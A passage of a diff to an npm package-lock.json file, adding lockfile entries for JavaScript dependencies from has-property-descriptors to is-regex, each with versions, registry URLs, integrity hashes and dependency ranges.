+      "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.0.tgz",
+      "integrity": "sha512-62DVLZGoiEBDHQyqG4w9xCuZ7eJEwNmJRWw2VY84Oedb7WFcA27fiEVe8oUQx9hAUJ4ekurquucTGwsyO1XGdQ==",
+      "dependencies": {
+        "get-intrinsic": "^1.1.1"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/has-proto": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.0.3.tgz",
+      "integrity": "sha512-SJ1amZAJUiZS+PhsVLf5tGydlaVB8EdFpaSO4gmiUKUOxk8qzn5AIy4ZeJUmh22znIdk/uMAUT2pl3FxzVUH+Q==",
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/has-symbols": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz",
+      "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==",
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/has-tostringtag": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.0.tgz",
+      "integrity": "sha512-kFjcSNhnlGV1kyoGk7OXKSawH5JOb/LzUc5w9B02hOTO0dfFRjbHQKvg1d6cf3HbeUmtU9VbbV3qzZ2Teh97WQ==",
+      "dependencies": {
+        "has-symbols": "^1.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/hasown": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz",
+      "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==",
+      "dependencies": {
+        "function-bind": "^1.1.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/hasown/node_modules/function-bind": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
+      "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==",
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/he": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz",
+      "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==",
+      "bin": {
+        "he": "bin/he"
+      }
+    },
+    "node_modules/hoopy": {
+      "version": "0.1.4",
+      "resolved": "https://registry.npmjs.org/hoopy/-/hoopy-0.1.4.tgz",
+      "integrity": "sha512-HRcs+2mr52W0K+x8RzcLzuPPmVIKMSv97RGHy0Ea9y/mpcaK+xTrjICA04KAHi4GRzxliNqNJEFYWHghy3rSfQ==",
+      "engines": {
+        "node": ">= 6.0.0"
+      }
+    },
+    "node_modules/hpack.js": {
+      "version": "2.1.6",
+      "resolved": "https://registry.npmjs.org/hpack.js/-/hpack.js-2.1.6.tgz",
+      "integrity": "sha512-zJxVehUdMGIKsRaNt7apO2Gqp0BdqW5yaiGHXXmbpvxgBYVZnAql+BJb4RO5ad2MgpbZKn5G6nMnegrH1FcNYQ==",
+      "dependencies": {
+        "inherits": "^2.0.1",
+        "obuf": "^1.0.0",
+        "readable-stream": "^2.0.1",
+        "wbuf": "^1.1.0"
+      }
+    },
+    "node_modules/hpack.js/node_modules/readable-stream": {
+      "version": "2.3.7",
+      "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+      "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+      "dependencies": {
+        "core-util-is": "~1.0.0",
+        "inherits": "~2.0.3",
+        "isarray": "~1.0.0",
+        "process-nextick-args": "~2.0.0",
+        "safe-buffer": "~5.1.1",
+        "string_decoder": "~1.1.1",
+        "util-deprecate": "~1.0.1"
+      }
+    },
+    "node_modules/html-encoding-sniffer": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-2.0.1.tgz",
+      "integrity": "sha512-D5JbOMBIR/TVZkubHT+OyT2705QvogUW4IBn6nHd756OwieSF9aDYFj4dv6HHEVGYbHaLETa3WggZYWWMyy3ZQ==",
+      "dependencies": {
+        "whatwg-encoding": "^1.0.5"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/html-entities": {
+      "version": "2.3.3",
+      "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-2.3.3.tgz",
+      "integrity": "sha512-DV5Ln36z34NNTDgnz0EWGBLZENelNAtkiFA4kyNOG2tDI6Mz1uSWiq1wAKdyjnJwyDiDO7Fa2SO1CTxPXL8VxA=="
+    },
+    "node_modules/html-escaper": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz",
+      "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg=="
+    },
+    "node_modules/html-minifier-terser": {
+      "version": "6.1.0",
+      "resolved": "https://registry.npmjs.org/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz",
+      "integrity": "sha512-YXxSlJBZTP7RS3tWnQw74ooKa6L9b9i9QYXY21eUEvhZ3u9XLfv6OnFsQq6RxkhHygsaUMvYsZRV5rU/OVNZxw==",
+      "dependencies": {
+        "camel-case": "^4.1.2",
+        "clean-css": "^5.2.2",
+        "commander": "^8.3.0",
+        "he": "^1.2.0",
+        "param-case": "^3.0.4",
+        "relateurl": "^0.2.7",
+        "terser": "^5.10.0"
+      },
+      "bin": {
+        "html-minifier-terser": "cli.js"
+      },
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/html-minifier-terser/node_modules/commander": {
+      "version": "8.3.0",
+      "resolved": "https://registry.npmjs.org/commander/-/commander-8.3.0.tgz",
+      "integrity": "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==",
+      "engines": {
+        "node": ">= 12"
+      }
+    },
+    "node_modules/html-webpack-plugin": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/html-webpack-plugin/-/html-webpack-plugin-5.5.0.tgz",
+      "integrity": "sha512-sy88PC2cRTVxvETRgUHFrL4No3UxvcH8G1NepGhqaTT+GXN2kTamqasot0inS5hXeg1cMbFDt27zzo9p35lZVw==",
+      "dependencies": {
+        "@types/html-minifier-terser": "^6.0.0",
+        "html-minifier-terser": "^6.0.2",
+        "lodash": "^4.17.21",
+        "pretty-error": "^4.0.0",
+        "tapable": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=10.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/html-webpack-plugin"
+      },
+      "peerDependencies": {
+        "webpack": "^5.20.0"
+      }
+    },
+    "node_modules/htmlparser2": {
+      "version": "6.1.0",
+      "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-6.1.0.tgz",
+      "integrity": "sha512-gyyPk6rgonLFEDGoeRgQNaEUvdJ4ktTmmUh/h2t7s+M8oPpIPxgNACWa+6ESR57kXstwqPiCut0V8NRpcwgU7A==",
+      "funding": [
+        "https://github.com/fb55/htmlparser2?sponsor=1",
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/fb55"
+        }
+      ],
+      "dependencies": {
+        "domelementtype": "^2.0.1",
+        "domhandler": "^4.0.0",
+        "domutils": "^2.5.2",
+        "entities": "^2.0.0"
+      }
+    },
+    "node_modules/htmlparser2/node_modules/dom-serializer": {
+      "version": "1.4.1",
+      "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.4.1.tgz",
+      "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==",
+      "dependencies": {
+        "domelementtype": "^2.0.1",
+        "domhandler": "^4.2.0",
+        "entities": "^2.0.0"
+      },
+      "funding": {
+        "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1"
+      }
+    },
+    "node_modules/htmlparser2/node_modules/domelementtype": {
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz",
+      "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/fb55"
+        }
+      ]
+    },
+    "node_modules/htmlparser2/node_modules/domutils": {
+      "version": "2.8.0",
+      "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz",
+      "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==",
+      "dependencies": {
+        "dom-serializer": "^1.0.1",
+        "domelementtype": "^2.2.0",
+        "domhandler": "^4.2.0"
+      },
+      "funding": {
+        "url": "https://github.com/fb55/domutils?sponsor=1"
+      }
+    },
+    "node_modules/http-deceiver": {
+      "version": "1.2.7",
+      "resolved": "https://registry.npmjs.org/http-deceiver/-/http-deceiver-1.2.7.tgz",
+      "integrity": "sha512-LmpOGxTfbpgtGVxJrj5k7asXHCgNZp5nLfp+hWc8QQRqtb7fUy6kRY3BO1h9ddF6yIPYUARgxGOwB42DnxIaNw=="
+    },
+    "node_modules/http-errors": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz",
+      "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==",
+      "dependencies": {
+        "depd": "2.0.0",
+        "inherits": "2.0.4",
+        "setprototypeof": "1.2.0",
+        "statuses": "2.0.1",
+        "toidentifier": "1.0.1"
+      },
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/http-parser-js": {
+      "version": "0.5.8",
+      "resolved": "https://registry.npmjs.org/http-parser-js/-/http-parser-js-0.5.8.tgz",
+      "integrity": "sha512-SGeBX54F94Wgu5RH3X5jsDtf4eHyRogWX1XGT3b4HuW3tQPM4AaBzoUji/4AAJNXCEOWZ5O0DgZmJw1947gD5Q=="
+    },
+    "node_modules/http-proxy": {
+      "version": "1.18.1",
+      "resolved": "https://registry.npmjs.org/http-proxy/-/http-proxy-1.18.1.tgz",
+      "integrity": "sha512-7mz/721AbnJwIVbnaSv1Cz3Am0ZLT/UBwkC92VlxhXv/k/BBQfM2fXElQNC27BVGr0uwUpplYPQM9LnaBMR5NQ==",
+      "dependencies": {
+        "eventemitter3": "^4.0.0",
+        "follow-redirects": "^1.0.0",
+        "requires-port": "^1.0.0"
+      },
+      "engines": {
+        "node": ">=8.0.0"
+      }
+    },
+    "node_modules/http-proxy-agent": {
+      "version": "4.0.1",
+      "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz",
+      "integrity": "sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==",
+      "dependencies": {
+        "@tootallnate/once": "1",
+        "agent-base": "6",
+        "debug": "4"
+      },
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/http-proxy-middleware": {
+      "version": "2.0.9",
+      "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-2.0.9.tgz",
+      "integrity": "sha512-c1IyJYLYppU574+YI7R4QyX2ystMtVXZwIdzazUIPIJsHuWNd+mho2j+bKoHftndicGj9yh+xjd+l0yj7VeT1Q==",
+      "license": "MIT",
+      "dependencies": {
+        "@types/http-proxy": "^1.17.8",
+        "http-proxy": "^1.18.1",
+        "is-glob": "^4.0.1",
+        "is-plain-obj": "^3.0.0",
+        "micromatch": "^4.0.2"
+      },
+      "engines": {
+        "node": ">=12.0.0"
+      },
+      "peerDependencies": {
+        "@types/express": "^4.17.13"
+      },
+      "peerDependenciesMeta": {
+        "@types/express": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/https-proxy-agent": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz",
+      "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==",
+      "dependencies": {
+        "agent-base": "6",
+        "debug": "4"
+      },
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/human-signals": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-2.1.0.tgz",
+      "integrity": "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==",
+      "engines": {
+        "node": ">=10.17.0"
+      }
+    },
+    "node_modules/iconv-lite": {
+      "version": "0.4.24",
+      "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
+      "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==",
+      "dependencies": {
+        "safer-buffer": ">= 2.1.2 < 3"
+      },
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/icss-utils": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/icss-utils/-/icss-utils-5.1.0.tgz",
+      "integrity": "sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==",
+      "engines": {
+        "node": "^10 || ^12 || >= 14"
+      },
+      "peerDependencies": {
+        "postcss": "^8.1.0"
+      }
+    },
+    "node_modules/idb": {
+      "version": "7.1.0",
+      "resolved": "https://registry.npmjs.org/idb/-/idb-7.1.0.tgz",
+      "integrity": "sha512-Wsk07aAxDsntgYJY4h0knZJuTxM73eQ4reRAO+Z1liOh8eMCJ/MoDS8fCui1vGT9mnjtl1sOu3I2i/W1swPYZg=="
+    },
+    "node_modules/identity-obj-proxy": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/identity-obj-proxy/-/identity-obj-proxy-3.0.0.tgz",
+      "integrity": "sha512-00n6YnVHKrinT9t0d9+5yZC6UBNJANpYEQvL2LlX6Ab9lnmxzIRcEmTPuyGScvl1+jKuCICX1Z0Ab1pPKKdikA==",
+      "dependencies": {
+        "harmony-reflect": "^1.4.6"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/ignore": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.0.tgz",
+      "integrity": "sha512-CmxgYGiEPCLhfLnpPp1MoRmifwEIOgjcHXxOBjv7mY96c+eWScsOP9c112ZyLdWHi0FxHjI+4uVhKYp/gcdRmQ==",
+      "engines": {
+        "node": ">= 4"
+      }
+    },
+    "node_modules/immer": {
+      "version": "9.0.15",
+      "resolved": "https://registry.npmjs.org/immer/-/immer-9.0.15.tgz",
+      "integrity": "sha512-2eB/sswms9AEUSkOm4SbV5Y7Vmt/bKRwByd52jfLkW4OLYeaTP3EEiJ9agqU0O/tq6Dk62Zfj+TJSqfm1rLVGQ==",
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/immer"
+      }
+    },
+    "node_modules/import-fresh": {
+      "version": "3.3.0",
+      "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.0.tgz",
+      "integrity": "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==",
+      "dependencies": {
+        "parent-module": "^1.0.0",
+        "resolve-from": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=6"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/import-local": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/import-local/-/import-local-3.1.0.tgz",
+      "integrity": "sha512-ASB07uLtnDs1o6EHjKpX34BKYDSqnFerfTOJL2HvMqF70LnxpjkzDB8J44oT9pu4AMPkQwf8jl6szgvNd2tRIg==",
+      "dependencies": {
+        "pkg-dir": "^4.2.0",
+        "resolve-cwd": "^3.0.0"
+      },
+      "bin": {
+        "import-local-fixture": "fixtures/cli.js"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/imurmurhash": {
+      "version": "0.1.4",
+      "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz",
+      "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==",
+      "engines": {
+        "node": ">=0.8.19"
+      }
+    },
+    "node_modules/indent-string": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npm.taobao.org/indent-string/download/indent-string-4.0.0.tgz?cache=0&sync_timestamp=1618679442183&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Findent-string%2Fdownload%2Findent-string-4.0.0.tgz",
+      "integrity": "sha1-Yk+PRJfWGbLZdoUx1Y9BIoVNclE=",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/inflight": {
+      "version": "1.0.6",
+      "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
+      "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==",
+      "deprecated": "This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.",
+      "dependencies": {
+        "once": "^1.3.0",
+        "wrappy": "1"
+      }
+    },
+    "node_modules/inherits": {
+      "version": "2.0.4",
+      "resolved": "https://registry.npm.taobao.org/inherits/download/inherits-2.0.4.tgz",
+      "integrity": "sha1-D6LGT5MpF8NDOg3tVTY6rjdBa3w="
+    },
+    "node_modules/ini": {
+      "version": "1.3.8",
+      "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz",
+      "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew=="
+    },
+    "node_modules/internal-slot": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.3.tgz",
+      "integrity": "sha512-O0DB1JC/sPyZl7cIo78n5dR7eUSwwpYPiXRhTzNxZVAMUuB8vlnRFyLxdrVToks6XPLVnFfbzaVd5WLjhgg+vA==",
+      "dependencies": {
+        "get-intrinsic": "^1.1.0",
+        "has": "^1.0.3",
+        "side-channel": "^1.0.4"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/invariant": {
+      "version": "2.2.4",
+      "resolved": "https://registry.npm.taobao.org/invariant/download/invariant-2.2.4.tgz",
+      "integrity": "sha1-YQ88ksk1nOHbYW5TgAjSP/NRWOY=",
+      "dependencies": {
+        "loose-envify": "^1.0.0"
+      }
+    },
+    "node_modules/ipaddr.js": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-2.0.1.tgz",
+      "integrity": "sha512-1qTgH9NG+IIJ4yfKs2e6Pp1bZg8wbDbKHT21HrLIeYBTRLgMYKnMTPAuI3Lcs61nfx5h1xlXnbJtH1kX5/d/ng==",
+      "engines": {
+        "node": ">= 10"
+      }
+    },
+    "node_modules/is-arrayish": {
+      "version": "0.2.1",
+      "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz",
+      "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg=="
+    },
+    "node_modules/is-bigint": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.0.4.tgz",
+      "integrity": "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg==",
+      "dependencies": {
+        "has-bigints": "^1.0.1"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/is-binary-path": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",
+      "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==",
+      "dependencies": {
+        "binary-extensions": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/is-boolean-object": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.1.2.tgz",
+      "integrity": "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "has-tostringtag": "^1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/is-callable": {
+      "version": "1.2.7",
+      "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.7.tgz",
+      "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==",
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/is-core-module": {
+      "version": "2.10.0",
+      "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.10.0.tgz",
+      "integrity": "sha512-Erxj2n/LDAZ7H8WNJXd9tw38GYM3dv8rk8Zcs+jJuxYTW7sozH+SS8NtrSjVL1/vpLvWi1hxy96IzjJ3EHTJJg==",
+      "dependencies": {
+        "has": "^1.0.3"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/is-date-object": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.5.tgz",
+      "integrity": "sha512-9YQaSxsAiSwcvS33MBk3wTCVnWK+HhF8VZR2jRxehM16QcVOdHqPn4VPHmRK4lSr38n9JriurInLcP90xsYNfQ==",
+      "dependencies": {
+        "has-tostringtag": "^1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/is-docker": {
+      "version": "2.2.1",
+      "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.2.1.tgz",
+      "integrity": "sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==",
+      "bin": {
+        "is-docker": "cli.js"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/is-extglob": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz",
+      "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/is-fullwidth-code-point": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
+      "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/is-generator-fn": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/is-generator-fn/-/is-generator-fn-2.1.0.tgz",
+      "integrity": "sha512-cTIB4yPYL/Grw0EaSzASzg6bBy9gqCofvWN8okThAYIxKJZC+udlRAmGbM0XLeniEJSs8uEgHPGuHSe1XsOLSQ==",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/is-glob": {
+      "version": "4.0.3",
+      "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz",
+      "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==",
+      "dependencies": {
+        "is-extglob": "^2.1.1"
+      },
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/is-module": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/is-module/-/is-module-1.0.0.tgz",
+      "integrity": "sha512-51ypPSPCoTEIN9dy5Oy+h4pShgJmPCygKfyRCISBI+JoWT/2oJvK8QPxmwv7b/p239jXrm9M1mlQbyKJ5A152g=="
+    },
+    "node_modules/is-negative-zero": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.2.tgz",
+      "integrity": "sha512-dqJvarLawXsFbNDeJW7zAz8ItJ9cd28YufuuFzh0G8pNHjJMnY08Dv7sYX2uF5UpQOwieAeOExEYAWWfu7ZZUA==",
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/is-number": {
+      "version": "7.0.0",
+      "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
+      "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
+      "engines": {
+        "node": ">=0.12.0"
+      }
+    },
+    "node_modules/is-number-object": {
+      "version": "1.0.7",
+      "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.0.7.tgz",
+      "integrity": "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ==",
+      "dependencies": {
+        "has-tostringtag": "^1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/is-obj": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-1.0.1.tgz",
+      "integrity": "sha512-l4RyHgRqGN4Y3+9JHVrNqO+tN0rV5My76uW5/nuO4K1b6vw5G8d/cmFjP9tRfEsdhZNt0IFdZuK/c2Vr4Nb+Qg==",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/is-plain-obj": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-3.0.0.tgz",
+      "integrity": "sha512-gwsOE28k+23GP1B6vFl1oVh/WOzmawBrKwo5Ev6wMKzPkaXaCDIQKzLnvsA42DRlbVTWorkgTKIviAKCWkfUwA==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/is-potential-custom-element-name": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz",
+      "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ=="
+    },
+    "node_modules/is-regex": {
+      "version": "1.1.4",
